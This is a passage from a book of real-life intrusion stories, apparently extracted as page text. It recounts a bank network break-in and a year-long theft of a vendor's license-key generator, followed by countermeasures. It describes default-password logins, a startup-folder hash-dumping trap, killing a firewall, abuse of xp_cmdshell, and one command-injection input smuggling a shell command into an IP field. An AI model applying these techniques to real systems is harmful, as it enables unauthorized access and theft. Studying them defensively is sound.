difficult explanations to him. The now 21-year-old Canadian seems\nto have the kind of hacker talent that allows making discoveries on his\nown. Even when it’s a well-known exploit, the ability marks the hacker as\nliving in a different world from the “script kiddies,” who discover nothing\non their own, but rather just download goodies from the Web. \nOne program he favored was called Spy Lantern Keylogger. This is\nanother of those programs with the ability to electronically shadow peo-\nple as they work, allowing the hacker to secretly intercept every keystroke\ntyped on the target’s computer system — except that this one is suppos-\nedly completely invisible on the target’s machine.\nIn addition, he also used the “shadowing” feature of an application called\nCitrix MetaFrame (an on-demand enterprise access suite), which is\ndesigned to allow system administrators to monitor and assist company\nemployees. With the shadowing feature, the system administrator can\ncovertly look over the shoulder of a user, seeing everything on his or her\ncomputer screen and what the user is doing and typing, and can even take\nover control of the computer. A knowing hacker who can locate a company\nThe Art of Intrusion\n144\n"
        },
        {
            "page_number": 166,
            "text": "running Citrix may be able to do the same: take over computers. This\nobviously requires great caution. If he’s not careful, the hacker’s actions\nwill be spotted, since anyone sitting at the computer will see the result of\nthe actions that the attacker is taking (the cursor moving, applications\nopening, and so forth). But the opportunity can also provide a hacker\nwith a chance for some innocent fun.\nI see people writing emails to their wife or something. You can\nactually move their mouse in the screen. Pretty funny.\nOnce I got on a guy’s computer and started moving his cursor. He\nopened a notepad file. I typed in “Hey.”\nNaturally, a hacker who wants to take over someone’s computer ordi-\nnarily chooses a time when no one is likely to be around. “I usually do\nthat after midnight,” Gabriel explained, “to be sure there’s no one there.\nOr I just check on their computer screen. If the screensaver is running,\nthat usually means no one is at the computer.”\nBut one time he misjudged and the user was at his machine. The words,\n“I know you’re looking at me!” flashed across Gabriel’s screen. “I logged\noff right away.” Another time, some files he had stashed were found.\n“They deleted them and left me a message — ‘WE WILL PROSECUTE\nYOU TO THE FULLEST EXTENT OF THE LAW.’”\nThe Bank Break-In\nWhen Gabriel’s wandering around the Internet brought up details about\nIP addresses of the Dixie bank, he followed the trail, discovering that it\nwas no small-town bank he’d stumbled onto but one with extensive\nnational and international ties. Even more interesting, he also found that\none the bank’s servers was running Citrix MetaFrame, which is server\nsoftware that allows a user to remotely access his or her workstation. A\nlightbulb went on because of something that Gabriel and a friend had\nrealized from their earlier hacking experiences.\nThis friend and I had discovered that most of the systems running\nCitrix services don’t have good passwords. They deliver them\nalready enabled, but leave the end user without a password.\nGabriel went to work with a port scanner, a hacker tool (or auditing\ntool, depending on the user’s intent) that scans other networked com-\nputers to identify open ports. He was looking specifically for any systems\nwith port 1494 open, because that’s the port used to remotely access the\nCitrix terminal services. So any system with port 1494 open was a poten-\ntial system he could successfully “own.” \nChapter 7\nOf Course Your Bank Is Secure — Right?\n145\n"
        },
        {
            "page_number": 167,
            "text": "Each time he found one, he’d search every file on the computer for the\nword password. It’s like panning for gold. Much of the time, you come up\nempty-handed, but occasionally you discover a nugget. In this case, a\nnugget might be a reminder that someone had stuck in a file, maybe read-\ning something like, “administrator password for mail2 is ‘happyday.’”\nIn time, he found the password to the bank’s firewall. He tried con-\nnecting to a router, knowing that some common routers come with a\ndefault password of “admin” or “administrator,” and that many\npeople — not just clueless homeowners but, too often, even IT support\nprofessionals — deploy a new unit without any thought of changing the\ndefault password. And, in fact, that’s what Gabriel found here — a router\nwith a default password. \nOnce he had gained access, he added a firewall rule, allowing incoming\nconnections to port 1723 — the port used for Microsoft’s Virtual Private\nNetwork (VPN) services, designed to allow secure connectivity to the\ncorporate network for authorized users. After he had successfully authen-\nticated to the VPN service, his computer was assigned an IP address on\nthe bank’s internal network. Fortunately for him, the network was “flat,”\nmeaning that all systems were accessible on a single network segment, so\nthat hacking into the one machine had given him access to other com-\nputer systems on the same network. \nThe hack into the bank, Gabriel says, was so easy it was “pretty dumb.”\nThe bank had brought in a team of security consultants, who provided a\nreport when they left. Gabriel discovered the confidential report stored\non a server. It included a list of all the security vulnerabilities that the\nteam had found — providing a handy blueprint of how to exploit the rest\nof the network. \nAs a server, the bank was using an IBM AS/400, a machine Gabriel had\nlittle experience with. But he discovered that the Windows domain server\nstored a complete operations manual for the applications used on that\nsystem, which he downloaded. When he next typed in “administrator” —\nthe default IBM password — the system let him in. \nI’d say 99 percent of the people working there used “password123”\nas their password. They also didn’t have an anti-virus program\nrunning in the background. They ran it maybe once a week or so.\nGabriel felt free to install Spy Lantern Keylogger, his favorite in the cat-\negory primarily because of the program’s unique ability to record infor-\nmation simultaneously from any number of people logging in to the\nCitrix server. With this installed, Gabriel waited until an administrator\nlogged in, and “snarfed” his password.\nThe Art of Intrusion\n146\n"
        },
        {
            "page_number": 168,
            "text": "Armed with the right passwords, Gabriel hit the jackpot: a full set of\nonline training manuals on how to use the critical applications on the\nAS/400. He had the ability to perform any activity a teller could —\nwiring funds, viewing and changing customer account information,\nwatching nationwide ATM activity, checking bank loans and transfers,\naccessing Equifax for credit checks, even reviewing court files for back-\nground checks. He also found that from the bank’s site, he could access\nthe computer database of the state’s Department of Motor Vehicles.\nNext he wanted to obtain the password hashes from the primary\ndomain controller (PDC), which authenticates any login requests to the\ndomain. His program of choice for doing this was PwDump3, which\nextracts all the password hashes from a protected part of the system reg-\nistry. He got administrator access locally on the machine, then added a\nscript to execute PwDump3 as a shortcut in the startup folder, disguising\nit as something innocuous. \nGabriel was laying in wait for a domain administrator to log in to the\ntarget machine. The program operates much like a booby trap, springing\nwhen triggered by a particular event — in this case, a system administra-\ntor logging in. When that administrator logs in, the password hashes are\nsilently extracted to a file. The PwDump3 utility is run from the admin-\nistrator’s startup folder. “Sometimes it takes days [for a domain adminis-\ntrator to log in],” he says, “but it’s worth the wait.” \nOnce the unsuspecting domain administrator logged in, he unknowingly\nextracted the password hashes to a hidden file. Gabriel returned to the\nscene of the crime to obtain the password hashes, and ran a password-\ncracking program using the most powerful computer he was able to access.\nOn such a system, a simple password such as “password” can take less\nthan a second to break. Windows passwords seem to be particularly easy,\nwhile a complicated password that uses special symbols can take much\nlonger. “I had one that took me an entire month to decrypt,” Gabriel\nrecalled ruefully. The bank administrator’s password consisted of only four\nlowercase letters. It was cracked faster than you could read this paragraph.\nAnyone Interested in a Bank Account\nin Switzerland?\nSome of the items Gabriel found made the rest of the haul seem like small\npotatoes.\nHe also found his way into one of the most supersensitive parts of any\nbank’s operation — the process for generating wire transfers. He found\nthe menu screens for initiating the process. He also discovered the actual\nChapter 7\nOf Course Your Bank Is Secure — Right?\n147\n"
        },
        {
            "page_number": 169,
            "text": "online form used by the select group of authorized employees who have\nthe authority to process transactions for withdrawing funds from a cus-\ntomer’s account and sending the funds electronically to another financial\ninstitution that might be on the other side of the world (in Switzerland,\nfor example).\nBut a blank form doesn’t do any good unless you know how to prop-\nerly complete it. That, it turned out, wasn’t a problem either. In the\ninstruction manual he had earlier located, one chapter proved particularly\ninteresting. He didn’t need to get very far into the chapter to find what\nhe needed. \n20.1.2 Enter/Update Wire Transfers\nMenu: Wire Transfers (WIRES)\nOption: Enter/Update Wire Transfers\nThis option is used to enter non-repetitive wires and to select\nrepetitive wires to be entered and sent. Non-repetitive wires are for\ncustomers who only send a wire occasionally or for noncustomers\nwho want to initiate a wire. Through this option, incoming wires\ncan also be maintained after they are uploaded. When this option\nis selected the following screen will be displayed.\nWire Transfers\nWire Transfers 11:35:08\nOutgoing\nType options, press Enter.\n2=Change 4=Delete 5=Display Position to...\nOpt From account To beneficiary Amount\nF3=Exit F6=Add F9=Incoming F12=Previous\nWhen this option is initially taken there will not be any wires listed.\nTo add, press F6=Add and the following screen will be displayed.\nAn entire chapter spelled out step-by-step the exact procedures for\nsending a wire from that particular bank, transferring funds to some per-\nson’s account at another financial institution. Gabriel now knew every-\nthing he needed for sending a wire transfer. He had the keys to the castle. \nAftermath\nDespite such widespread access to the bank’s system and an enormous\namount of unauthorized power at his disposal, Gabriel to his credit kept\nhis hand out of the till. He had no interest in stealing funds or sabotag-\ning any of the bank’s information, though he did play around with the\nidea of improving the credit ratings for a few buddies. As a student\nThe Art of Intrusion\n148\n"
        },
        {
            "page_number": 170,
            "text": "enrolled in a security program at a local college, Gabriel naturally assessed\nthe weaknesses in the bank’s protective measures.\nI found a lot of documents on their server about physical security,\nbut none of it was related to hackers. I did find something about\nthe security consultants they hire every year to check on the servers,\nbut that isn’t enough for a bank. They’re doing a good job on phys-\nical security, but not enough for computer security.\nINSIGHT\nThe bank site in Estonia was an easy target. Juhan noticed the flaw when\nhe viewed the source code of the bank’s Web pages. The code used a hid-\nden form element that contained the filename of a form template, which\nwas loaded by the CGI script and displayed to users in their Web browser.\nHe changed the hidden variable to point to the server’s password file,\nand, voilà, the password file was displayed in his browser. Amazingly, the\nfile was not shadowed, so he had access to all the encrypted passwords,\nwhich he later cracked.\nThe Dixie bank hack provides another example of the need for defense\nin depth. In this instance, the bank’s network appeared to be flat; that is,\nwithout significant protection beyond the single Citrix server. Once any\nsystem on the network was compromised, the attacker could connect to\nevery other system on the network. A defense-in-depth model could have\nprevented Gabriel from gaining access to the AS/400.\nThe bank’s information security staff was lulled into a false sense of secu-\nrity in having an external audit performed, which may have unreasonably\nraised the confidence level in their overall security posture. While per-\nforming a security assessment or audit is an important step to measure\nyour resilience against an attack, an even more crucial process is properly\nmanaging the network and all the systems that are on it.\nCOUNTERMEASURES\nThe online bank site should have required that all Web application devel-\nopers adhere to fundamental secure programming practices, or require\nauditing of any code put into production. The best practice is to limit the\namount of user input that is passed to a server-side script. Using hard-\ncoded filenames and constants, while not eloquent, raises the level of\nassurance in the security of the application.\nLax network monitoring and poor password security on the exposed\nCitrix server were the biggest mistakes in this case, and would likely have\nChapter 7\nOf Course Your Bank Is Secure — Right?\n149\n"
        },
        {
            "page_number": 171,
            "text": "prevented Gabriel from roaming through their network, installing key-\nstroke loggers, shadowing other authorized users, and planting Trojan\nprograms. The hacker wrote a little script and put it into the administra-\ntor’s startup folder so when he logged in, it would run the pwdump3\nprogram silently. Of course, he already had administrator rights. The hacker\nwas lying in wait for a domain administrator to log in so he could hijack his\nprivileges and automatically extract the password hashes from the primary\ndomain controller. The hidden script is often called a Trojan or a trapdoor.\nA partial list of countermeasures would include the following:\n●\nCheck all accounts for password last set time on system serv-\nices accounts like ‘TsINternetUser’ not assigned to personnel,\nunauthorized administrator rights, unauthorized group rights,\nand time of last login. These periodic checks may lead to iden-\ntifying a security incident. Look for passwords that were set\nduring strange hours, since the hacker might not realize he or\nshe is leaving an audit trial by changing account passwords.\n●\nRestrict interactive logins to business hours.\n●\nEnable login and logout auditing on all systems that are exter-\nnally accessible via wireless, dial-up, Internet, or extranet.\n●\nDeploying software like SpyCop (available at www.spycop.\ncom) to detect unauthorized keystroke loggers.\n●\nBe vigilant in installing security updates. In some environ-\nments, it may be appropriate to download the latest updates\nautomatically. Microsoft is actively encouraging customers to\nconfigure their computer systems to do this.\n●\nCheck externally accessible systems for remote-control soft-\nware such as WinVNC, TightVNC, Damware, and so on.\nThese software programs, while they have legitimate uses, can\nenable an attacker to monitor and control sessions logged in\nto the system console.\n●\nCarefully audit any logins using Windows Terminal Services\nor Citrix MetaFrame. Most attackers chose to use these serv-\nices in preference to remotely controlled programs, to reduce\nthe chance of being detected.\nTHE BOTTOM LINE\nThe hacks in this chapter were trivial. based on taking advantage of the\ncompanies’ poor password security, and vulnerable CGI scripts. While\nmany people — even people knowledgeable about computer security —\nThe Art of Intrusion\n150\n"
        },
        {
            "page_number": 172,
            "text": "tend to think of hacker break-ins as something more like an “Oceans\nEleven” strategic attack, the sad truth is that most of these attacks aren’t\ningenious or clever. They are, instead, successful because a large portion\nof enterprise networks are not adequately protected.\nAlso, the people responsible for developing and placing these systems\ninto production are making simple configuration errors or programming\noversights that create an opportunity for the thousands of hackers bang-\ning on the front door every day.\nIf the two financial institutions described in this chapter give any indi-\ncation of how most of the world’s banks are currently protecting client\ninformation and funds, then we may all decide to go back to hiding our\ncash in a shoebox under the bed. \nNOTES\n1. Though he didn’t specify the site, this information is available at www.flumps.org/ip/.\nChapter 7\nOf Course Your Bank Is Secure — Right?\n151\n"
        },
        {
            "page_number": 173,
            "text": ""
        },
        {
            "page_number": 174,
            "text": "153\nChapter 8 \nYour Intellectual \nProperty Isn’t Safe\nIf one thing didn’t work, I’d just try something else because I knew there\nwas something that would work. There is always something that works. It’s\njust a matter of finding out what.\n— Erik\nW\nhat’s the most valuable asset in any organization? It’s not the\ncomputer hardware, it’s not the offices or factory, it’s not\neven what was claimed in the once-popular corporate cliché\nthat said, “Our most valuable asset is our people.”\nThe plain fact is that any of these can be replaced. Okay, not so easily,\nnot without a struggle, but plenty of companies have survived after their\nplant burned down or a bunch of key employees walked out the door.\nSurviving the loss of intellectual property, however, is another story alto-\ngether. If someone steals your product designs, your customer list, your\nnew-product plans, your R&D data — that would be a blow that could\nsend your company reeling.\nWhat’s more, if someone steals a thousand products from your ware-\nhouse, or a ton of titanium from your manufacturing plant, or a hundred\ncomputers from your offices, you’ll know it immediately. If someone\nelectronically steals your intellectual property, what they’re stealing is a\ncopy and you’ll never know it’s gone until long afterward (if ever), when\nthe damage is done and you’re suffering the consequences.\nSo, it may come as distressing news that people with hacking skills are\nstealing intellectual property every day — and often from companies that\n"
        },
        {
            "page_number": 175,
            "text": "are probably no less security-conscious than your own, as suggested by\nthe two examples in this chapter.\nThe two guys in the following pair of stories belong to a special breed\nreferred to as crackers, a term for hackers who “crack” software by\nreverse-engineering commercial applications or stealing the source code\nto these application programs, or licensing code, so they can use the soft-\nware for free and eventually distribute through a labyrinth of under-\nground cracking sites. (This use is not to be confused with “cracker” as\na program for cracking passwords.)\nTypically, there are three motivations for a cracker to go after a partic-\nular product: \n●\nTo obtain software that he or she has a special interest in and\nwants to examine closely.\n●\nTo tackle a challenge and see whether he or she can outwit a\nworthy opponent (usually the developer), just the way some-\none else tries to outwit opponents at chess, bridge, or poker. \n●\nTo post the software so it’s available to others in a secret\nonline world that deals in making valuable software available\nfree. The crackers are not just after the software itself but also\nthe code used to generate the licensing key.\nBoth characters in these stories are compromising target software man-\nufacturers to steal source code so they can release a patch or key genera-\ntor (“keygen”), the very proprietary code used for generating customer\nlicense keys, to cracking groups so that they can essentially use the soft-\nware for free. There are many people with hacking skills that are doing\nthe same thing, and these software businesses have no idea how hard they\nare getting hit.\nCrackers dwell in a dark, well-hidden world where the coin of the realm\nis stolen software — intellectual property theft on a scale you will likely\nfind stunning and frightening. The fascinating last act of the story is\ndetailed near the end of the chapter, in the section “Sharing: A Cracker’s\nWorld.”\nTHE TWO-YEAR HACK\nErik is a 30-something security consultant who complains that “When I\nreport a vulnerability, I often hear, ‘It’s nothing. What’s the big deal?\nWhat’s that gonna do?’” His story demonstrates a much-ignored truism:\nIt’s not just the big mistakes that will kill you.\nThe Art of Intrusion\n154\n"
        },
        {
            "page_number": 176,
            "text": "Some of the following may seem, for those with limited technical\nknowledge of the approaches used by hackers, like rather heavy slogging.\nWhat’s fascinating about the chronicle, though, is the way it reveals the\npersistence of many hackers. The events related here, which took place\nquite recently, reveal Erik to be, like so many others in these pages, dur-\ning the day an ethical hacker was helping businesses protect their infor-\nmation assets but was lured into the thrill of hacking into unsuspecting\ntargets at night.\nErik belongs to that special breed of hackers who set their sights on\nbreaking into a place and stick to the task until they succeed ... even if it\ntakes months or years.\nA Quest Starts\nA few years ago, Erik and some long-distance hacker buddies had been\ncollecting different types of server software and had reached the point\nwhere they “owned the source code” of all the major products in the \ncategory . . . with only a single exception. “This was the last one I didn’t\nhave,” he explains, “and I don’t know why, it was just interesting to me\nto break into that one.” I understand the attitude perfectly. Erik was into\ntrophy hunting, and the more valuable the asset, the bigger the trophy.\nThis last one to make Erik feel complete turned out to be more of a\nchallenge than he had anticipated. “There are some sites that I want to\nbreak into, but they are truly difficult for some reason,” he explains sim-\nply. I can relate to that attitude, as well.\nHe began in a familiar way, with “a port scan of the Web server that is\nprobably the first place I look when I’m trying to break into Web servers.\nThere’s usually more exposure there. But I couldn’t find anything right\noff.” It’s common to probe a target lightly when getting started with an\nattack to avoid generating alerts or being noticed by an administrator\nbecause of entries in the logs — especially these days, since many compa-\nnies are running intrusion-detection systems to detect port scans and\nother types of probes commonly used by attackers.\nFor Erik, “there’s a few ports I’ll look for that I know are going to be\ninteresting targets.” He rattles off a list of numbers for the ports used for\nthe Web server, terminal services, Microsoft SQL server, Microsoft Virtual\nPrivate Network (VPN), NetBIOS, mail server (SMTP), and others.\nOn a Windows server, port 1723 (as mentioned in Chapter 7, “Of\nCourse Your Bank Is Secure — Right?”) is ordinarily used for a protocol\nknown as point-to-point tunnel, which is Microsoft’s implementation\nof VPN communications and uses Windows-based authentication. Erik\nChapter 8\nYour Intellectual Property Isn’t Safe\n155\n"
        },
        {
            "page_number": 177,
            "text": "has found that probing port 1723 “gives me an idea of what kind of role\nthe server plays” and, as well, “sometimes you can guess or brute-force\npasswords.”\nHe doesn’t even bother trying to hide his identity at this stage because\n“there’s so many port scans [a company] will get every day that no one\neven cares. One port scan out of a hundred thousand in a day, it doesn’t\nmean anything.” \n(Erik’s assessment of the low risk of being detected and possibly iden-\ntified is based on his risky assumption that his port scans will be buried in\nthe “noise” of the Internet. True, the target company’s network admin-\nistrators may be too overworked or lazy to examine the logs, but there’s\nalways a chance he’ll run into a zealous type and get busted. It’s a chance\nmore cautious hackers are not willing to take.)\nDespite the risk, in this case the port scans didn’t turn up anything use-\nful. Then, using a custom-built piece of software that worked much like\na common gateway interface (CGI) scanner, he found a log file generated\nby the “WS_FTP server,” which contains, among other things, a listing\nof the filenames that were uploaded to the server. It’s similar to any other\nFTP (File Transfer Protocol) log, Erik says, “except that the log was\nstored in each directory that files were uploaded to,” so when you see a\nfile listed in the log that looks interesting, it’s right there — you don’t\nhave to go hunting for it.\nErik analyzed the FTP log and found the names of files that had been\nrecently uploaded to the “/include” directory, a directory ordinarily used\nto store “.inc” file types — common programming functions that are\nfrom other main source code modules. Under Windows 2000, these files\nare by default not protected. After reviewing the list of filenames in the\nlog, Erik used his Internet browser to view the source code of particular\nfilenames he thought might contain valuable information. Specifically, he\nlooked at files that might have included the passwords for a back-end\ndatabase server. And he eventually hit pay dirt. \n“At that point,” Erik said, “I probably made ten hits to the Web\nserver — you know, still nothing major in the logs.” Although his dis-\ncovery of the database passwords was exciting, he quickly found that\nthere was no database server on that box.\nBut from there, things turned “interesting.” \nI couldn’t find anything on that Web server, but I had a [software]\ntool I made that guesses host names based on a list of common host\nnames — like gateway, backup, test, and so on, plus the domain\nname. It goes through a list of common host names to identify any\nhost names that may exist in the domain. \nThe Art of Intrusion\n156\n"
        },
        {
            "page_number": 178,
            "text": "People are pretty predictable in [choosing hostnames], so it’s pretty\nsimple to find the servers. \nFinding the servers was easy enough, but it still didn’t lead him any-\nwhere. Then it struck him: This company wasn’t in the United States. So\n“I used that country’s extension, and tried it with a whole bunch of the\nhosts I had found with my host name scanning tool.” For example, for a\nJapanese company it would be\nhostname.companyname.com.jp \nThat led him to discover a backup Web and mail server. He accessed it\nwith the passwords he had found in the “include” (.inc) source files. He\nwas able to execute commands through a standard system procedure\n(xp_cmdshell) that permitted him to run shell commands under whatever\nuser the SQL server was running — usually under a privileged account.\nTriumph! This gave him full system access to the Web/mail server. \nErik immediately proceeded to dig into the directories looking for\nbackups of source code and other goodies. His main objective was to\nobtain the keygen — as mentioned, the very proprietary code used for\ngenerating customer license keys. The first order of business was gather-\ning as much information about the system and its users as possible. In\nfact, Erik used an Excel spreadsheet to record all interesting information\nhe found, such as passwords, IP addresses, hostnames, and what services\nwere accessible through open ports, and so forth.\nHe also probed hidden parts of the operating system that the amateur\nattacker generally overlooks, such as Local Security Authority (LSA)\nsecrets, which stores service passwords, cached password hashes of the\nlast users to log in to the machine, Remote Access Services (RAS) dial-\nup account names and passwords, workstation passwords used for\ndomain access, and more. He also viewed the Protected Storage area\nwhere Internet Explorer and Outlook Express store passwords.1\nHis next step was to extract the password hashes and crack them to\nrecover the passwords. Because the server was a backup domain con-\ntroller, mail server, and secondary Domain Name Service (DNS) server,\nhe was able to access all the DNS resource records (including, among\nother things, hostnames and corresponding IP addresses) by opening the\nDNS management panel, which contained the entire list of domain and\nhostnames used by the company. \nNow I had a list of all their hosts and I just gathered passwords\nhere and there, hopping from system to system. \nChapter 8\nYour Intellectual Property Isn’t Safe\n157\n"
        },
        {
            "page_number": 179,
            "text": "This “puddle jumping” was possible because of his earlier success in\ncracking the passwords on the backup Web server, after exploiting the\nMicrosoft SQL password he had obtained.\nHe still didn’t know which servers were the application development\nmachines, storing the source code of the product and the licensing man-\nagement code. Looking for clues, he carefully scrutinized the mail and\nWeb logs to identify any patterns of activity that would point to these\nboxes. Once he gathered a list of other IP addresses from the logs that\nlooked interesting, he would target these machines. The Holy Grail at\nthis stage was a developer’s workstation, since any developer would likely\nhave access to the entire source code collection of files. \nFrom there, he laid low for several weeks. Beyond collecting passwords,\nhe wasn’t able to get much for a couple of months, “just kind of down-\nloading a little piece of information now and then that I thought useful.”\nThe CEO’s Computer\nThis went on for about eight months, as he patiently “hopped around\nfrom server to server” without finding either the source code or the\nlicense key generator. But then, he got a breakthrough. He started look-\ning more closely at the backup Web server he had first compromised and\ndiscovered that it stored the logs of anyone retrieving email, listing the\nusername and IP address of all these employees. From an examination of\nthe logs, he was able to recover the CEO’s IP address. He had finally\nidentified a valuable target. \nI finally found the CEO’s computer and that was kind of inter-\nesting. I port-scanned it for a couple of days and there would just\nbe no response, but I knew his computer was there. I could see in\nthe email headers that he would use a fixed IP address, but he was\nnever there. \nSo I finally tried port-scanning his box, checking a few common\nports every two hours to stay under the radar in case he was run-\nning any kind of intrusion-detection software. I would try at dif-\nferent times of day, but would limit the number of ports to no\nmore than 5 in any 24-hour period. \nIt took me a few days to actually find a port open at the time he\nwas there. I finally found one port open on his machine — 1433,\nrunning an instance of MS SQL server. It turns out it was his\nlaptop and he was only on for like two hours every morning. So,\nhe’d come in his office, check his emails, and then leave or turn his\nlaptop off.\nThe Art of Intrusion\n158\n"
        },
        {
            "page_number": 180,
            "text": "Getting into the CEO’s Computer\nBy then Erik had gathered something like 20 to 30 passwords from the\ncompany. “They had good, strong passwords, but they followed patterns.\nAnd once I figured out their patterns, I could easily guess the passwords.” \nAt this point, Erik estimates, he had been working on this for some-\nthing like a full year. And then his efforts were rewarded with a major\nbreakthrough. \nErik was getting to the point were he felt he was gaining a grasp on the\ncompany’s password strategy, so he went back to try tackling the CEO’s\ncomputer once again, taking stabs at the password. What made him think\nhe might be able to guess what password the CEO might be using for\nMS SQL Server?\nYou know, the truth is, I can’t explain it. It’s just an ability I\nhave to guess the passwords people use. I can also know what sort\nof passwords they would use in the future. I just have a sense for\nthat. I can feel it. It’s like I become them and say what password\nI would use next if I was them.\nHe’s not sure whether to call it luck or skill, and shrugs off the ability\nwith “I’m a good guesser.” Whatever the explanation, he actually came\nup with the right password, which he remembers as “not a dictionary\nword, but something more complicated.”\nWhatever the explanation, he now had the password that gave him\naccess to the SQL server as a database administrator. The CEO was\n“owned.” \nHe found the computer to be well protected, with a firewall, and only\none port open. But in other ways, Erik found plenty to sneer at. “His sys-\ntem was really messy. I couldn’t find anything on there. I mean there\nwere just files everywhere.” Not understanding the foreign language that\nmost everything was written in, Erik used some online dictionaries and a\nfree online translator service called “Babblefish” to hunt for keywords.\nHe also had a friend who spoke the language, which helped. From the\nchat logs, he was able to find more IP addresses and more passwords. \nSince the files on the laptop were too disorganized to find anything of\nvalue, Erik turned to a different approach, using “dir /s /od <drive letter>”\nto list and sort all the files by date so he could look at the ones recently\naccessed on the drives, and examine them offline. In the process he dis-\ncovered an obvious name for an Excel spreadsheet that contained several\npasswords for different servers and applications. From it, he identified a\nvalid account name and password to their primary DNS server.\nChapter 8\nYour Intellectual Property Isn’t Safe\n159\n"
        },
        {
            "page_number": 181,
            "text": "To make his next tasks easier — gaining a better foothold, and more\neasily upload and download files — he wanted to move onto the CEO’s\nlaptop his hacker’s toolkit. He was only able to communicate with the\nlaptop through his Microsoft SQL server connection but was able to use\nthe same stored procedure mentioned earlier for sending commands to\nthe operating system as if he were sitting at a DOS prompt in Windows.\nErik wrote a little script to cause the FTP to download his hacker tools.\nWhen nothing happened on his three attempts, he used a command-line\nprogram already on the laptop called “pslist” to list out the running\nprocesses. \nBig mistake!\nSince the CEO’s laptop was running its own personal firewall (Tiny\nPersonal Firewall), each attempt to use FTP popped up a warning box on\nthe CEO’s screen, requesting permission to connect out to the Internet.\nFortunately the CEO had already downloaded a common set of command-\nline tools from www.sysinternals.com to manipulate processes. Erik used\n“pskill” utility to kill the firewall program so the pop-up dialog boxes\nwould disappear before the CEO saw them.\nOnce again Erik figured it would be wise to lay low for a couple of\nweeks just in case anyone had been noticing his activities. When he\nreturned, he tried a different tack for attempting to get his tools onto the\nCEO’s laptop. He wrote a script to retrieve several of his hacking tools\nby using an “Internet Explorer object” that would trick the personal\nfirewall into believing that Internet Explorer was requesting permission\nto connect to the Internet. Most everyone allows Internet Explorer to\nhave full access through their personal firewall (I bet you do, too), and\nErik was counting on his script being able to take advantage of this. Good\ncall. It worked. He was then able to use his tools to begin searching the\nlaptop and extracting information. \nThe CEO Spots a Break-in\nThese same methods, Erik said, would still work today. \nOn a later occasion, while connected to the CEO’s computer, Erik\nagain killed the firewall so he could transfer files to another system from\nwhich he would be able to download them. During this, he realized the\nCEO was at his computer and must have noticed something strange\ngoing on. “He saw the firewall icon missing from the system tray. He saw\nI was on.” Erik immediately got off. After a couple of minutes, the note-\nbook was rebooted, and the firewall had started up again.\nThe Art of Intrusion\n160\n"
        },
        {
            "page_number": 182,
            "text": "I didn’t know if he was on to me. So I waited a couple of weeks\nbefore I went back and tried it again. I eventually learned what\nhis work patterns were, when I could get onto his system. \nGaining Access to the Application\nAfter laying low and rethinking his strategy, Erik got back into the CEO’s\nlaptop and starting examining the system more closely. First he ran a pub-\nlicly available command-line tool known as LsaDump2, to dump sensi-\ntive information stored in a special part of the registry called Local\nSecurity Authority Secrets. LSA Secrets contains plaintext passwords for\nservice accounts, cached password hashes of the last 10 users, FTP and\nWeb user passwords, and the account names and passwords used for dial-\nup networking. \nHe also ran the “netstat” command to see what connections were\nestablished at that moment, and what ports were listening for a connec-\ntion. He noticed there was a high port listening for an incoming con-\nnection. Connecting to the open port from the backup server he\ncompromised earlier, he recognized it was a lightweight Web server\nbeing used as some sort of mail interface. He quickly realized that he\ncould bypass the mail interface and place any files onto the server’s root\ndirectory used for the mail interface. He would then be able to easily\ndownload files from the CEO’s laptop to the backup server.\nDespite minor successes over the year, Erik still didn’t have the source\ncode to the product, or the key generator. However, he had no thoughts\nof giving up. In fact, things were just getting interesting. “I found a\nbackup of the ‘tools’ directory on the CEO’s laptop. In it was an inter-\nface to a key generator but it didn’t have access to the live database.”\nHe hadn’t found the licensing server that was running the live database\ncontaining all the customer keys — only something pointing to it. “I didn’t\nknow where the actual licensing tools were located for employees. “I needed\nto find the live server.” He had a hunch it was on the same server as their\nmail server, since the company operated a Web site that allowed customers\nto immediately purchase the software product. Once the credit card trans-\naction was approved, the customer would receive an email with the licens-\ning key. There was only one server left that Erik hadn’t been able to locate\nand break into; it must be the one that held the application for generating\nthe licensing key.\nBy now Erik had spent months in the network and still didn’t have\nwhat he was after. He decided to poke around the backup server he had\ncompromised earlier and started scanning the mail server from the other\nChapter 8\nYour Intellectual Property Isn’t Safe\n161\n"
        },
        {
            "page_number": 183,
            "text": "servers he already “owned,” using a broader range of ports, hoping to\ndiscover some services running on nonstandard ports. He also thought it\nwould be best to scan from a trusted server just in case the firewall was\nonly allowing certain IP addresses. \nOver the next two weeks he scanned the network as quietly as possible\nto identify any servers that were running unusual services, or attempting\nto run common services on nonstandard ports.\nWhile continuing his port-scanning tasks, Erik started examining the\nInternet Explorer history files of the administrator account and several\nusers. This led to a new discovery. Users from the backup server were\nconnecting to a high-numbered port on the main mail server using\nInternet Explorer. He realized that the main mail server was also block-\ning access to this high-numbered port unless the connection was from an\n“authorized” IP address. \nFinally he found a Web server on a high port — “1800 or something\nlike that,” he remembers — and was able to guess a username and pass-\nword combination that brought up a menu of items. One option was to\nlook up customer information. Another was to generate licensing keys for\ntheir product. \nBingo! \nThis was the server with the live database. Erik was starting to feel his\nadrenaline pump as he realized he was getting close to his goal. But “this\nserver was really tight, incredibly tight.” Once again he had run into a\ndead end. He backtracked, thought things through, and came up with a\nnew idea:\nI had the source code for these Web pages because of the backup of\nthe Web site I found on the CEO’s laptop. And I found a link on\nthe Web page for some network diagnostics, like netstat, trace-\nroute and ping — you could put an IP address into the web form,\nand click “OK,” and it would run the command and display the\nresults on your screen. \nHe had noticed a bug in a program that he could run when he logged\nin to the Web page. If he chose the option to do a tracert command, the\nprogram would allow him to do a traceroute — tracing the route that\npackets take to the destination IP address. Erik realized that he could\ntrick the program into running a shell command by entering an IP\naddress, followed by the “&” symbol, and then his shell command. So,\nhe would enter something in the form of the following:\nlocalhost > nul && dir c:\\\nThe Art of Intrusion\n162\n"
        },
        {
            "page_number": 184,
